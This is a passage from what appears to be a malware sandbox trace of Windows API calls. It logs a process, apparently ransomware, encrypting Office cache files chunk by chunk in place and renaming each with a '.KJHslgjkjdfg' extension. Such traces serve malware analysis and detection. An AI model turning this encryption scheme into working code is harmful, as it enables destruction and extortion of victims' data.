dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0151.085] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=14819276) returned 1 [0151.085] GetProcessHeap () returned 0x990000 [0151.085] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0151.085] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0151.085] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.085] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0151.300] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0151.300] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0151.300] GetProcessHeap () returned 0x990000 [0151.300] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0151.300] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40) returned 1 [0151.300] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0151.300] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f4*=0x40, lpOverlapped=0x0) returned 1 [0151.300] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0151.301] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0151.301] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 [0151.301] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0151.301] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0151.301] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0151.301] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0151.301] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0151.301] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0151.313] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0151.316] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.316] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0151.317] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xe220a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.318] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0151.318] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0151.318] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0151.327] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0151.330] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.331] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0151.331] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xe220a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.331] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0151.331] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xde1fd0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0151.331] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0151.363] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0151.369] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xde1fd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.369] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0151.370] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xe220a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.370] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0151.370] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0151.370] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xe220a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.370] SetEndOfFile (hFile=0x124) returned 1 [0151.374] GetProcessHeap () returned 0x990000 [0151.374] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0151.374] GetProcessHeap () returned 0x990000 [0151.374] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0151.374] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.kjhslgjkjdfg")) returned 1 [0151.375] CloseHandle (hObject=0x124) returned 1 [0151.375] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OutlookMUI.msi", cAlternateFileName="OUTLOO~1.MSI")) returned 1 [0151.375] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0151.375] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=2865664) returned 1 [0151.375] GetProcessHeap () returned 0x990000 [0151.375] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0151.376] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0151.376] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.376] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0151.376] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0151.376] GetProcessHeap () returned 0x990000 [0151.376] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0151.376] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40) returned 1 [0151.376] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0151.376] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f4*=0x40, lpOverlapped=0x0) returned 1 [0151.413] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0151.413] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0151.413] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 [0151.414] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0151.414] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0151.414] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0151.414] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0151.414] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0151.414] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0151.457] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0151.459] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.459] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0151.460] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2bbad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.460] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0151.460] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0151.460] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0151.574] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0151.577] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.577] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0151.579] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2bbad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.579] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0151.579] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0151.579] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0151.632] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0151.636] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.636] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0151.637] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2bbad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.637] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0151.637] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0151.637] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2bbad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.638] SetEndOfFile (hFile=0x124) returned 1 [0151.642] GetProcessHeap () returned 0x990000 [0151.642] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0151.642] GetProcessHeap () returned 0x990000 [0151.642] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0151.642] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.kjhslgjkjdfg")) returned 1 [0151.644] CloseHandle (hObject=0x124) returned 1 [0151.644] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OutlookMUI.xml", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0151.644] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0151.644] GetProcessHeap () returned 0x990000 [0151.644] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0151.644] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0151.644] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0151.645] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0xe, lpOverlapped=0x0) returned 1 [0151.709] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0151.709] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0151.709] GetProcessHeap () returned 0x990000 [0151.709] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0151.709] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0151.709] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0151.709] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0151.710] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0151.710] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0151.710] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0151.710] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0151.710] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0151.710] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0151.710] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0151.710] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.710] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xc72, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0xc72, lpOverlapped=0x0) returned 1 [0151.710] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0xc80, dwBufLen=0xc80 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0xc80) returned 1 [0151.711] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.711] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0xc80, lpOverlapped=0x0) returned 1 [0151.711] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0151.711] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.711] SetEndOfFile (hFile=0x124) returned 1 [0151.713] GetProcessHeap () returned 0x990000 [0151.713] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0151.713] GetProcessHeap () returned 0x990000 [0151.713] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0151.713] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.kjhslgjkjdfg")) returned 1 [0151.715] CloseHandle (hObject=0x124) returned 1 [0151.715] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0151.715] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0151.717] GetProcessHeap () returned 0x990000 